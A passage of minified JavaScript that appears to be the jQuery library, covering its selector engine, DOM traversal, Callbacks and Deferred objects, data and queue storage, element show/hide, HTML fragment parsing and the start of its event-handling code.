r,i,o,a,s,u,l=y!==m?"nextSibling":"previousSibling",c=e.parentNode,f=x&&e.nodeName.toLowerCase(),p=!n&&!x,d=!1;if(c){if(y){while(l){a=e;while(a=a[l])if(x?a.nodeName.toLowerCase()===f:1===a.nodeType)return!1;u=l="only"===h&&!u&&"nextSibling"}return!0}if(u=[m?c.firstChild:c.lastChild],m&&p){d=(s=(r=(i=(o=(a=c)[S]||(a[S]={}))[a.uniqueID]||(o[a.uniqueID]={}))[h]||[])[0]===k&&r[1])&&r[2],a=s&&c.childNodes[s];while(a=++s&&a&&a[l]||(d=s=0)||u.pop())if(1===a.nodeType&&++d&&a===e){i[h]=[k,s,d];break}}else if(p&&(d=s=(r=(i=(o=(a=e)[S]||(a[S]={}))[a.uniqueID]||(o[a.uniqueID]={}))[h]||[])[0]===k&&r[1]),!1===d)while(a=++s&&a&&a[l]||(d=s=0)||u.pop())if((x?a.nodeName.toLowerCase()===f:1===a.nodeType)&&++d&&(p&&((i=(o=a[S]||(a[S]={}))[a.uniqueID]||(o[a.uniqueID]={}))[h]=[k,d]),a===e))break;return(d-=v)===g||d%g==0&&0<=d/g}}},PSEUDO:function(e,o){var t,a=b.pseudos[e]||b.setFilters[e.toLowerCase()]||se.error("unsupported pseudo: "+e);return a[S]?a(o):1<a.length?(t=[e,e,"",o],b.setFilters.hasOwnProperty(e.toLowerCase())?le(function(e,t){var n,r=a(e,o),i=r.length;while(i--)e[n=P(e,r[i])]=!(t[n]=r[i])}):function(e){return a(e,0,t)}):a}},pseudos:{not:le(function(e){var r=[],i=[],s=f(e.replace($,"$1"));return s[S]?le(function(e,t,n,r){var i,o=s(e,null,r,[]),a=e.length;while(a--)(i=o[a])&&(e[a]=!(t[a]=i))}):function(e,t,n){return r[0]=e,s(r,null,n,i),r[0]=null,!i.pop()}}),has:le(function(t){return function(e){return 0<se(t,e).length}}),contains:le(function(t){return t=t.replace(te,ne),function(e){return-1<(e.textContent||o(e)).indexOf(t)}}),lang:le(function(n){return V.test(n||"")||se.error("unsupported lang: "+n),n=n.replace(te,ne).toLowerCase(),function(e){var t;do{if(t=E?e.lang:e.getAttribute("xml:lang")||e.getAttribute("lang"))return(t=t.toLowerCase())===n||0===t.indexOf(n+"-")}while((e=e.parentNode)&&1===e.nodeType);return!1}}),target:function(e){var t=n.location&&n.location.hash;return t&&t.slice(1)===e.id},root:function(e){return e===a},focus:function(e){return e===C.activeElement&&(!C.hasFocus||C.hasFocus())&&!!(e.type||e.href||~e.tabIndex)},enabled:ge(!1),disabled:ge(!0),checked:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&!!e.checked||"option"===t&&!!e.selected},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,!0===e.selected},empty:function(e){for(e=e.firstChild;e;e=e.nextSibling)if(e.nodeType<6)return!1;return!0},parent:function(e){return!b.pseudos.empty(e)},header:function(e){return J.test(e.nodeName)},input:function(e){return Q.test(e.nodeName)},button:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&"button"===e.type||"button"===t},text:function(e){var t;return"input"===e.nodeName.toLowerCase()&&"text"===e.type&&(null==(t=e.getAttribute("type"))||"text"===t.toLowerCase())},first:ve(function(){return[0]}),last:ve(function(e,t){return[t-1]}),eq:ve(function(e,t,n){return[n<0?n+t:n]}),even:ve(function(e,t){for(var n=0;n<t;n+=2)e.push(n);return e}),odd:ve(function(e,t){for(var n=1;n<t;n+=2)e.push(n);return e}),lt:ve(function(e,t,n){for(var r=n<0?n+t:t<n?t:n;0<=--r;)e.push(r);return e}),gt:ve(function(e,t,n){for(var r=n<0?n+t:n;++r<t;)e.push(r);return e})}}).pseudos.nth=b.pseudos.eq,{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})b.pseudos[e]=de(e);for(e in{submit:!0,reset:!0})b.pseudos[e]=he(e);function me(){}function xe(e){for(var t=0,n=e.length,r="";t<n;t++)r+=e[t].value;return r}function be(s,e,t){var u=e.dir,l=e.next,c=l||u,f=t&&"parentNode"===c,p=r++;return e.first?function(e,t,n){while(e=e[u])if(1===e.nodeType||f)return s(e,t,n);return!1}:function(e,t,n){var r,i,o,a=[k,p];if(n){while(e=e[u])if((1===e.nodeType||f)&&s(e,t,n))return!0}else while(e=e[u])if(1===e.nodeType||f)if(i=(o=e[S]||(e[S]={}))[e.uniqueID]||(o[e.uniqueID]={}),l&&l===e.nodeName.toLowerCase())e=e[u]||e;else{if((r=i[c])&&r[0]===k&&r[1]===p)return a[2]=r[2];if((i[c]=a)[2]=s(e,t,n))return!0}return!1}}function we(i){return 1<i.length?function(e,t,n){var r=i.length;while(r--)if(!i[r](e,t,n))return!1;return!0}:i[0]}function Te(e,t,n,r,i){for(var o,a=[],s=0,u=e.length,l=null!=t;s<u;s++)(o=e[s])&&(n&&!n(o,r,i)||(a.push(o),l&&t.push(s)));return a}function Ce(d,h,g,v,y,e){return v&&!v[S]&&(v=Ce(v)),y&&!y[S]&&(y=Ce(y,e)),le(function(e,t,n,r){var i,o,a,s=[],u=[],l=t.length,c=e||function(e,t,n){for(var r=0,i=t.length;r<i;r++)se(e,t[r],n);return n}(h||"*",n.nodeType?[n]:n,[]),f=!d||!e&&h?c:Te(c,s,d,n,r),p=g?y||(e?d:l||v)?[]:t:f;if(g&&g(f,p,n,r),v){i=Te(p,u),v(i,[],n,r),o=i.length;while(o--)(a=i[o])&&(p[u[o]]=!(f[u[o]]=a))}if(e){if(y||d){if(y){i=[],o=p.length;while(o--)(a=p[o])&&i.push(f[o]=a);y(null,p=[],i,r)}o=p.length;while(o--)(a=p[o])&&-1<(i=y?P(e,a):s[o])&&(e[i]=!(t[i]=a))}}else p=Te(p===t?p.splice(l,p.length):p),y?y(null,t,p,r):H.apply(t,p)})}function Ee(e){for(var i,t,n,r=e.length,o=b.relative[e[0].type],a=o||b.relative[" "],s=o?1:0,u=be(function(e){return e===i},a,!0),l=be(function(e){return-1<P(i,e)},a,!0),c=[function(e,t,n){var r=!o&&(n||t!==w)||((i=t).nodeType?u(e,t,n):l(e,t,n));return i=null,r}];s<r;s++)if(t=b.relative[e[s].type])c=[be(we(c),t)];else{if((t=b.filter[e[s].type].apply(null,e[s].matches))[S]){for(n=++s;n<r;n++)if(b.relative[e[n].type])break;return Ce(1<s&&we(c),1<s&&xe(e.slice(0,s-1).concat({value:" "===e[s-2].type?"*":""})).replace($,"$1"),t,s<n&&Ee(e.slice(s,n)),n<r&&Ee(e=e.slice(n)),n<r&&xe(e))}c.push(t)}return we(c)}return me.prototype=b.filters=b.pseudos,b.setFilters=new me,h=se.tokenize=function(e,t){var n,r,i,o,a,s,u,l=x[e+" "];if(l)return t?0:l.slice(0);a=e,s=[],u=b.preFilter;while(a){for(o in n&&!(r=_.exec(a))||(r&&(a=a.slice(r[0].length)||a),s.push(i=[])),n=!1,(r=z.exec(a))&&(n=r.shift(),i.push({value:n,type:r[0].replace($," ")}),a=a.slice(n.length)),b.filter)!(r=G[o].exec(a))||u[o]&&!(r=u[o](r))||(n=r.shift(),i.push({value:n,type:o,matches:r}),a=a.slice(n.length));if(!n)break}return t?a.length:a?se.error(e):x(e,s).slice(0)},f=se.compile=function(e,t){var n,v,y,m,x,r,i=[],o=[],a=A[e+" "];if(!a){t||(t=h(e)),n=t.length;while(n--)(a=Ee(t[n]))[S]?i.push(a):o.push(a);(a=A(e,(v=o,m=0<(y=i).length,x=0<v.length,r=function(e,t,n,r,i){var o,a,s,u=0,l="0",c=e&&[],f=[],p=w,d=e||x&&b.find.TAG("*",i),h=k+=null==p?1:Math.random()||.1,g=d.length;for(i&&(w=t==C||t||i);l!==g&&null!=(o=d[l]);l++){if(x&&o){a=0,t||o.ownerDocument==C||(T(o),n=!E);while(s=v[a++])if(s(o,t||C,n)){r.push(o);break}i&&(k=h)}m&&((o=!s&&o)&&u--,e&&c.push(o))}if(u+=l,m&&l!==u){a=0;while(s=y[a++])s(c,f,t,n);if(e){if(0<u)while(l--)c[l]||f[l]||(f[l]=q.call(r));f=Te(f)}H.apply(r,f),i&&!e&&0<f.length&&1<u+y.length&&se.uniqueSort(r)}return i&&(k=h,w=p),c},m?le(r):r))).selector=e}return a},g=se.select=function(e,t,n,r){var i,o,a,s,u,l="function"==typeof e&&e,c=!r&&h(e=l.selector||e);if(n=n||[],1===c.length){if(2<(o=c[0]=c[0].slice(0)).length&&"ID"===(a=o[0]).type&&9===t.nodeType&&E&&b.relative[o[1].type]){if(!(t=(b.find.ID(a.matches[0].replace(te,ne),t)||[])[0]))return n;l&&(t=t.parentNode),e=e.slice(o.shift().value.length)}i=G.needsContext.test(e)?0:o.length;while(i--){if(a=o[i],b.relative[s=a.type])break;if((u=b.find[s])&&(r=u(a.matches[0].replace(te,ne),ee.test(o[0].type)&&ye(t.parentNode)||t))){if(o.splice(i,1),!(e=r.length&&xe(o)))return H.apply(n,r),n;break}}}return(l||f(e,c))(r,t,!E,n,!t||ee.test(e)&&ye(t.parentNode)||t),n},d.sortStable=S.split("").sort(j).join("")===S,d.detectDuplicates=!!l,T(),d.sortDetached=ce(function(e){return 1&e.compareDocumentPosition(C.createElement("fieldset"))}),ce(function(e){return e.innerHTML="<a href='#'></a>","#"===e.firstChild.getAttribute("href")})||fe("type|href|height|width",function(e,t,n){if(!n)return e.getAttribute(t,"type"===t.toLowerCase()?1:2)}),d.attributes&&ce(function(e){return e.innerHTML="<input/>",e.firstChild.setAttribute("value",""),""===e.firstChild.getAttribute("value")})||fe("value",function(e,t,n){if(!n&&"input"===e.nodeName.toLowerCase())return e.defaultValue}),ce(function(e){return null==e.getAttribute("disabled")})||fe(R,function(e,t,n){var r;if(!n)return!0===e[t]?t.toLowerCase():(r=e.getAttributeNode(t))&&r.specified?r.value:null}),se}(C);S.find=d,S.expr=d.selectors,S.expr[":"]=S.expr.pseudos,S.uniqueSort=S.unique=d.uniqueSort,S.text=d.getText,S.isXMLDoc=d.isXML,S.contains=d.contains,S.escapeSelector=d.escape;var h=function(e,t,n){var r=[],i=void 0!==n;while((e=e[t])&&9!==e.nodeType)if(1===e.nodeType){if(i&&S(e).is(n))break;r.push(e)}return r},T=function(e,t){for(var n=[];e;e=e.nextSibling)1===e.nodeType&&e!==t&&n.push(e);return n},k=S.expr.match.needsContext;function A(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()}var N=/^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i;function j(e,n,r){return m(n)?S.grep(e,function(e,t){return!!n.call(e,t,e)!==r}):n.nodeType?S.grep(e,function(e){return e===n!==r}):"string"!=typeof n?S.grep(e,function(e){return-1<i.call(n,e)!==r}):S.filter(n,e,r)}S.filter=function(e,t,n){var r=t[0];return n&&(e=":not("+e+")"),1===t.length&&1===r.nodeType?S.find.matchesSelector(r,e)?[r]:[]:S.find.matches(e,S.grep(t,function(e){return 1===e.nodeType}))},S.fn.extend({find:function(e){var t,n,r=this.length,i=this;if("string"!=typeof e)return this.pushStack(S(e).filter(function(){for(t=0;t<r;t++)if(S.contains(i[t],this))return!0}));for(n=this.pushStack([]),t=0;t<r;t++)S.find(e,i[t],n);return 1<r?S.uniqueSort(n):n},filter:function(e){return this.pushStack(j(this,e||[],!1))},not:function(e){return this.pushStack(j(this,e||[],!0))},is:function(e){return!!j(this,"string"==typeof e&&k.test(e)?S(e):e||[],!1).length}});var D,q=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/;(S.fn.init=function(e,t,n){var r,i;if(!e)return this;if(n=n||D,"string"==typeof e){if(!(r="<"===e[0]&&">"===e[e.length-1]&&3<=e.length?[null,e,null]:q.exec(e))||!r[1]&&t)return!t||t.jquery?(t||n).find(e):this.constructor(t).find(e);if(r[1]){if(t=t instanceof S?t[0]:t,S.merge(this,S.parseHTML(r[1],t&&t.nodeType?t.ownerDocument||t:E,!0)),N.test(r[1])&&S.isPlainObject(t))for(r in t)m(this[r])?this[r](t[r]):this.attr(r,t[r]);return this}return(i=E.getElementById(r[2]))&&(this[0]=i,this.length=1),this}return e.nodeType?(this[0]=e,this.length=1,this):m(e)?void 0!==n.ready?n.ready(e):e(S):S.makeArray(e,this)}).prototype=S.fn,D=S(E);var L=/^(?:parents|prev(?:Until|All))/,H={children:!0,contents:!0,next:!0,prev:!0};function O(e,t){while((e=e[t])&&1!==e.nodeType);return e}S.fn.extend({has:function(e){var t=S(e,this),n=t.length;return this.filter(function(){for(var e=0;e<n;e++)if(S.contains(this,t[e]))return!0})},closest:function(e,t){var n,r=0,i=this.length,o=[],a="string"!=typeof e&&S(e);if(!k.test(e))for(;r<i;r++)for(n=this[r];n&&n!==t;n=n.parentNode)if(n.nodeType<11&&(a?-1<a.index(n):1===n.nodeType&&S.find.matchesSelector(n,e))){o.push(n);break}return this.pushStack(1<o.length?S.uniqueSort(o):o)},index:function(e){return e?"string"==typeof e?i.call(S(e),this[0]):i.call(this,e.jquery?e[0]:e):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(e,t){return this.pushStack(S.uniqueSort(S.merge(this.get(),S(e,t))))},addBack:function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}}),S.each({parent:function(e){var t=e.parentNode;return t&&11!==t.nodeType?t:null},parents:function(e){return h(e,"parentNode")},parentsUntil:function(e,t,n){return h(e,"parentNode",n)},next:function(e){return O(e,"nextSibling")},prev:function(e){return O(e,"previousSibling")},nextAll:function(e){return h(e,"nextSibling")},prevAll:function(e){return h(e,"previousSibling")},nextUntil:function(e,t,n){return h(e,"nextSibling",n)},prevUntil:function(e,t,n){return h(e,"previousSibling",n)},siblings:function(e){return T((e.parentNode||{}).firstChild,e)},children:function(e){return T(e.firstChild)},contents:function(e){return null!=e.contentDocument&&r(e.contentDocument)?e.contentDocument:(A(e,"template")&&(e=e.content||e),S.merge([],e.childNodes))}},function(r,i){S.fn[r]=function(e,t){var n=S.map(this,i,e);return"Until"!==r.slice(-5)&&(t=e),t&&"string"==typeof t&&(n=S.filter(t,n)),1<this.length&&(H[r]||S.uniqueSort(n),L.test(r)&&n.reverse()),this.pushStack(n)}});var P=/[^\x20\t\r\n\f]+/g;function R(e){return e}function M(e){throw e}function I(e,t,n,r){var i;try{e&&m(i=e.promise)?i.call(e).done(t).fail(n):e&&m(i=e.then)?i.call(e,t,n):t.apply(void 0,[e].slice(r))}catch(e){n.apply(void 0,[e])}}S.Callbacks=function(r){var e,n;r="string"==typeof r?(e=r,n={},S.each(e.match(P)||[],function(e,t){n[t]=!0}),n):S.extend({},r);var i,t,o,a,s=[],u=[],l=-1,c=function(){for(a=a||r.once,o=i=!0;u.length;l=-1){t=u.shift();while(++l<s.length)!1===s[l].apply(t[0],t[1])&&r.stopOnFalse&&(l=s.length,t=!1)}r.memory||(t=!1),i=!1,a&&(s=t?[]:"")},f={add:function(){return s&&(t&&!i&&(l=s.length-1,u.push(t)),function n(e){S.each(e,function(e,t){m(t)?r.unique&&f.has(t)||s.push(t):t&&t.length&&"string"!==w(t)&&n(t)})}(arguments),t&&!i&&c()),this},remove:function(){return S.each(arguments,function(e,t){var n;while(-1<(n=S.inArray(t,s,n)))s.splice(n,1),n<=l&&l--}),this},has:function(e){return e?-1<S.inArray(e,s):0<s.length},empty:function(){return s&&(s=[]),this},disable:function(){return a=u=[],s=t="",this},disabled:function(){return!s},lock:function(){return a=u=[],t||i||(s=t=""),this},locked:function(){return!!a},fireWith:function(e,t){return a||(t=[e,(t=t||[]).slice?t.slice():t],u.push(t),i||c()),this},fire:function(){return f.fireWith(this,arguments),this},fired:function(){return!!o}};return f},S.extend({Deferred:function(e){var o=[["notify","progress",S.Callbacks("memory"),S.Callbacks("memory"),2],["resolve","done",S.Callbacks("once memory"),S.Callbacks("once memory"),0,"resolved"],["reject","fail",S.Callbacks("once memory"),S.Callbacks("once memory"),1,"rejected"]],i="pending",a={state:function(){return i},always:function(){return s.done(arguments).fail(arguments),this},"catch":function(e){return a.then(null,e)},pipe:function(){var i=arguments;return S.Deferred(function(r){S.each(o,function(e,t){var n=m(i[t[4]])&&i[t[4]];s[t[1]](function(){var e=n&&n.apply(this,arguments);e&&m(e.promise)?e.promise().progress(r.notify).done(r.resolve).fail(r.reject):r[t[0]+"With"](this,n?[e]:arguments)})}),i=null}).promise()},then:function(t,n,r){var u=0;function l(i,o,a,s){return function(){var n=this,r=arguments,e=function(){var e,t;if(!(i<u)){if((e=a.apply(n,r))===o.promise())throw new TypeError("Thenable self-resolution");t=e&&("object"==typeof e||"function"==typeof e)&&e.then,m(t)?s?t.call(e,l(u,o,R,s),l(u,o,M,s)):(u++,t.call(e,l(u,o,R,s),l(u,o,M,s),l(u,o,R,o.notifyWith))):(a!==R&&(n=void 0,r=[e]),(s||o.resolveWith)(n,r))}},t=s?e:function(){try{e()}catch(e){S.Deferred.exceptionHook&&S.Deferred.exceptionHook(e,t.stackTrace),u<=i+1&&(a!==M&&(n=void 0,r=[e]),o.rejectWith(n,r))}};i?t():(S.Deferred.getStackHook&&(t.stackTrace=S.Deferred.getStackHook()),C.setTimeout(t))}}return S.Deferred(function(e){o[0][3].add(l(0,e,m(r)?r:R,e.notifyWith)),o[1][3].add(l(0,e,m(t)?t:R)),o[2][3].add(l(0,e,m(n)?n:M))}).promise()},promise:function(e){return null!=e?S.extend(e,a):a}},s={};return S.each(o,function(e,t){var n=t[2],r=t[5];a[t[1]]=n.add,r&&n.add(function(){i=r},o[3-e][2].disable,o[3-e][3].disable,o[0][2].lock,o[0][3].lock),n.add(t[3].fire),s[t[0]]=function(){return s[t[0]+"With"](this===s?void 0:this,arguments),this},s[t[0]+"With"]=n.fireWith}),a.promise(s),e&&e.call(s,s),s},when:function(e){var n=arguments.length,t=n,r=Array(t),i=s.call(arguments),o=S.Deferred(),a=function(t){return function(e){r[t]=this,i[t]=1<arguments.length?s.call(arguments):e,--n||o.resolveWith(r,i)}};if(n<=1&&(I(e,o.done(a(t)).resolve,o.reject,!n),"pending"===o.state()||m(i[t]&&i[t].then)))return o.then();while(t--)I(i[t],a(t),o.reject);return o.promise()}});var W=/^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;S.Deferred.exceptionHook=function(e,t){C.console&&C.console.warn&&e&&W.test(e.name)&&C.console.warn("jQuery.Deferred exception: "+e.message,e.stack,t)},S.readyException=function(e){C.setTimeout(function(){throw e})};var F=S.Deferred();function B(){E.removeEventListener("DOMContentLoaded",B),C.removeEventListener("load",B),S.ready()}S.fn.ready=function(e){return F.then(e)["catch"](function(e){S.readyException(e)}),this},S.extend({isReady:!1,readyWait:1,ready:function(e){(!0===e?--S.readyWait:S.isReady)||(S.isReady=!0)!==e&&0<--S.readyWait||F.resolveWith(E,[S])}}),S.ready.then=F.then,"complete"===E.readyState||"loading"!==E.readyState&&!E.documentElement.doScroll?C.setTimeout(S.ready):(E.addEventListener("DOMContentLoaded",B),C.addEventListener("load",B));var $=function(e,t,n,r,i,o,a){var s=0,u=e.length,l=null==n;if("object"===w(n))for(s in i=!0,n)$(e,t,s,n[s],!0,o,a);else if(void 0!==r&&(i=!0,m(r)||(a=!0),l&&(a?(t.call(e,r),t=null):(l=t,t=function(e,t,n){return l.call(S(e),n)})),t))for(;s<u;s++)t(e[s],n,a?r:r.call(e[s],s,t(e[s],n)));return i?e:l?t.call(e):u?t(e[0],n):o},_=/^-ms-/,z=/-([a-z])/g;function U(e,t){return t.toUpperCase()}function X(e){return e.replace(_,"ms-").replace(z,U)}var V=function(e){return 1===e.nodeType||9===e.nodeType||!+e.nodeType};function G(){this.expando=S.expando+G.uid++}G.uid=1,G.prototype={cache:function(e){var t=e[this.expando];return t||(t={},V(e)&&(e.nodeType?e[this.expando]=t:Object.defineProperty(e,this.expando,{value:t,configurable:!0}))),t},set:function(e,t,n){var r,i=this.cache(e);if("string"==typeof t)i[X(t)]=n;else for(r in t)i[X(r)]=t[r];return i},get:function(e,t){return void 0===t?this.cache(e):e[this.expando]&&e[this.expando][X(t)]},access:function(e,t,n){return void 0===t||t&&"string"==typeof t&&void 0===n?this.get(e,t):(this.set(e,t,n),void 0!==n?n:t)},remove:function(e,t){var n,r=e[this.expando];if(void 0!==r){if(void 0!==t){n=(t=Array.isArray(t)?t.map(X):(t=X(t))in r?[t]:t.match(P)||[]).length;while(n--)delete r[t[n]]}(void 0===t||S.isEmptyObject(r))&&(e.nodeType?e[this.expando]=void 0:delete e[this.expando])}},hasData:function(e){var t=e[this.expando];return void 0!==t&&!S.isEmptyObject(t)}};var Y=new G,Q=new G,J=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,K=/[A-Z]/g;function Z(e,t,n){var r,i;if(void 0===n&&1===e.nodeType)if(r="data-"+t.replace(K,"-$&").toLowerCase(),"string"==typeof(n=e.getAttribute(r))){try{n="true"===(i=n)||"false"!==i&&("null"===i?null:i===+i+""?+i:J.test(i)?JSON.parse(i):i)}catch(e){}Q.set(e,t,n)}else n=void 0;return n}S.extend({hasData:function(e){return Q.hasData(e)||Y.hasData(e)},data:function(e,t,n){return Q.access(e,t,n)},removeData:function(e,t){Q.remove(e,t)},_data:function(e,t,n){return Y.access(e,t,n)},_removeData:function(e,t){Y.remove(e,t)}}),S.fn.extend({data:function(n,e){var t,r,i,o=this[0],a=o&&o.attributes;if(void 0===n){if(this.length&&(i=Q.get(o),1===o.nodeType&&!Y.get(o,"hasDataAttrs"))){t=a.length;while(t--)a[t]&&0===(r=a[t].name).indexOf("data-")&&(r=X(r.slice(5)),Z(o,r,i[r]));Y.set(o,"hasDataAttrs",!0)}return i}return"object"==typeof n?this.each(function(){Q.set(this,n)}):$(this,function(e){var t;if(o&&void 0===e)return void 0!==(t=Q.get(o,n))?t:void 0!==(t=Z(o,n))?t:void 0;this.each(function(){Q.set(this,n,e)})},null,e,1<arguments.length,null,!0)},removeData:function(e){return this.each(function(){Q.remove(this,e)})}}),S.extend({queue:function(e,t,n){var r;if(e)return t=(t||"fx")+"queue",r=Y.get(e,t),n&&(!r||Array.isArray(n)?r=Y.access(e,t,S.makeArray(n)):r.push(n)),r||[]},dequeue:function(e,t){t=t||"fx";var n=S.queue(e,t),r=n.length,i=n.shift(),o=S._queueHooks(e,t);"inprogress"===i&&(i=n.shift(),r--),i&&("fx"===t&&n.unshift("inprogress"),delete o.stop,i.call(e,function(){S.dequeue(e,t)},o)),!r&&o&&o.empty.fire()},_queueHooks:function(e,t){var n=t+"queueHooks";return Y.get(e,n)||Y.access(e,n,{empty:S.Callbacks("once memory").add(function(){Y.remove(e,[t+"queue",n])})})}}),S.fn.extend({queue:function(t,n){var e=2;return"string"!=typeof t&&(n=t,t="fx",e--),arguments.length<e?S.queue(this[0],t):void 0===n?this:this.each(function(){var e=S.queue(this,t,n);S._queueHooks(this,t),"fx"===t&&"inprogress"!==e[0]&&S.dequeue(this,t)})},dequeue:function(e){return this.each(function(){S.dequeue(this,e)})},clearQueue:function(e){return this.queue(e||"fx",[])},promise:function(e,t){var n,r=1,i=S.Deferred(),o=this,a=this.length,s=function(){--r||i.resolveWith(o,[o])};"string"!=typeof e&&(t=e,e=void 0),e=e||"fx";while(a--)(n=Y.get(o[a],e+"queueHooks"))&&n.empty&&(r++,n.empty.add(s));return s(),i.promise(t)}});var ee=/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source,te=new RegExp("^(?:([+-])=|)("+ee+")([a-z%]*)$","i"),ne=["Top","Right","Bottom","Left"],re=E.documentElement,ie=function(e){return S.contains(e.ownerDocument,e)},oe={composed:!0};re.getRootNode&&(ie=function(e){return S.contains(e.ownerDocument,e)||e.getRootNode(oe)===e.ownerDocument});var ae=function(e,t){return"none"===(e=t||e).style.display||""===e.style.display&&ie(e)&&"none"===S.css(e,"display")};function se(e,t,n,r){var i,o,a=20,s=r?function(){return r.cur()}:function(){return S.css(e,t,"")},u=s(),l=n&&n[3]||(S.cssNumber[t]?"":"px"),c=e.nodeType&&(S.cssNumber[t]||"px"!==l&&+u)&&te.exec(S.css(e,t));if(c&&c[3]!==l){u/=2,l=l||c[3],c=+u||1;while(a--)S.style(e,t,c+l),(1-o)*(1-(o=s()/u||.5))<=0&&(a=0),c/=o;c*=2,S.style(e,t,c+l),n=n||[]}return n&&(c=+c||+u||0,i=n[1]?c+(n[1]+1)*n[2]:+n[2],r&&(r.unit=l,r.start=c,r.end=i)),i}var ue={};function le(e,t){for(var n,r,i,o,a,s,u,l=[],c=0,f=e.length;c<f;c++)(r=e[c]).style&&(n=r.style.display,t?("none"===n&&(l[c]=Y.get(r,"display")||null,l[c]||(r.style.display="")),""===r.style.display&&ae(r)&&(l[c]=(u=a=o=void 0,a=(i=r).ownerDocument,s=i.nodeName,(u=ue[s])||(o=a.body.appendChild(a.createElement(s)),u=S.css(o,"display"),o.parentNode.removeChild(o),"none"===u&&(u="block"),ue[s]=u)))):"none"!==n&&(l[c]="none",Y.set(r,"display",n)));for(c=0;c<f;c++)null!=l[c]&&(e[c].style.display=l[c]);return e}S.fn.extend({show:function(){return le(this,!0)},hide:function(){return le(this)},toggle:function(e){return"boolean"==typeof e?e?this.show():this.hide():this.each(function(){ae(this)?S(this).show():S(this).hide()})}});var ce,fe,pe=/^(?:checkbox|radio)$/i,de=/<([a-z][^\/\0>\x20\t\r\n\f]*)/i,he=/^$|^module$|\/(?:java|ecma)script/i;ce=E.createDocumentFragment().appendChild(E.createElement("div")),(fe=E.createElement("input")).setAttribute("type","radio"),fe.setAttribute("checked","checked"),fe.setAttribute("name","t"),ce.appendChild(fe),y.checkClone=ce.cloneNode(!0).cloneNode(!0).lastChild.checked,ce.innerHTML="<textarea>x</textarea>",y.noCloneChecked=!!ce.cloneNode(!0).lastChild.defaultValue,ce.innerHTML="<option></option>",y.option=!!ce.lastChild;var ge={thead:[1,"<table>","</table>"],col:[2,"<table><colgroup>","</colgroup></table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],_default:[0,"",""]};function ve(e,t){var n;return n="undefined"!=typeof e.getElementsByTagName?e.getElementsByTagName(t||"*"):"undefined"!=typeof e.querySelectorAll?e.querySelectorAll(t||"*"):[],void 0===t||t&&A(e,t)?S.merge([e],n):n}function ye(e,t){for(var n=0,r=e.length;n<r;n++)Y.set(e[n],"globalEval",!t||Y.get(t[n],"globalEval"))}ge.tbody=ge.tfoot=ge.colgroup=ge.caption=ge.thead,ge.th=ge.td,y.option||(ge.optgroup=ge.option=[1,"<select multiple='multiple'>","</select>"]);var me=/<|&#?\w+;/;function xe(e,t,n,r,i){for(var o,a,s,u,l,c,f=t.createDocumentFragment(),p=[],d=0,h=e.length;d<h;d++)if((o=e[d])||0===o)if("object"===w(o))S.merge(p,o.nodeType?[o]:o);else if(me.test(o)){a=a||f.appendChild(t.createElement("div")),s=(de.exec(o)||["",""])[1].toLowerCase(),u=ge[s]||ge._default,a.innerHTML=u[1]+S.htmlPrefilter(o)+u[2],c=u[0];while(c--)a=a.lastChild;S.merge(p,a.childNodes),(a=f.firstChild).textContent=""}else p.push(t.createTextNode(o));f.textContent="",d=0;while(o=p[d++])if(r&&-1<S.inArray(o,r))i&&i.push(o);else if(l=ie(o),a=ve(f.appendChild(o),"script"),l&&ye(a),n){c=0;while(o=a[c++])he.test(o.type||"")&&n.push(o)}return f}var be=/^([^.]*)(?:\.(.+)|)/;function we(){return!0}function Te(){return!1}function Ce(e,t){return e===function(){try{return E.activeElement}catch(e){}}()==("focus"===t)}function Ee(e,t,n,r,i,o){var a,s;if("object"==typeof t){for(s in"string"!=typeof n&&(r=r||n,n=void 0),t)Ee(e,s,n,r,t[s],o);return e}if(null==r&&null==i?(i=n,r=n=void 0):null==i&&("string"==typeof n?(i=r,r=void 0):(i=r,r=n,n=void 0)),!1===i)i=Te;else if(!i)return e;return 1===o&&(a=i,(i=function(e){return S().off(e),a.apply(this,arguments)}).guid=a.guid||(a.guid=S.guid++)),e.each(function(){S.event.add(this,t,i,r,n)})}function Se(e,i,o){o?(Y.set(e,i,!1),S.event.add(e,i,{namespace:!1,handler:function(e){var t,n,r=Y.get(this,i);if(1&e.isTrigger&&this[i]){if(r.length)(S.event.special[i]||{}).delegateType&&e.stopPropagation();else if(r=s.call(arguments),Y.set(this,i,r),t=o(this,i),this[i](),r!==(n=Y.get(this,i))||t?Y.set(this,i,!1):n={},r!==n)return e.stopImmediatePropagation(),e.preventDefault(),n&&n.value}else r.length&&(Y.set(this,i,{value:S.event.trigger(S.extend(r[0],S.Event.prototype),r.slice(1),this)}),e.stopImmediatePropagation())}})):void 0===Y.get(e,i)&&S.event.add(e,i,we)}S.event={global:{},add:function(t,e,n,r,i){var o,a,s,u,l,c,f,p,d,h,g,v=Y.get(t);if(V(t)){n.handler&&(n=(o=n).handler,i=o.selector),i&&S.find.matchesSelector(re,i),n.guid||(n.guid=S.guid++),(u=v.events)||(u=v.events=Object.create(null)),(a=v.handle)||(a=v.handle=function(e){return"undefined"!=typeof S&&S.event.triggered!==e.type?S.event.dispatch.apply(t,arguments):void 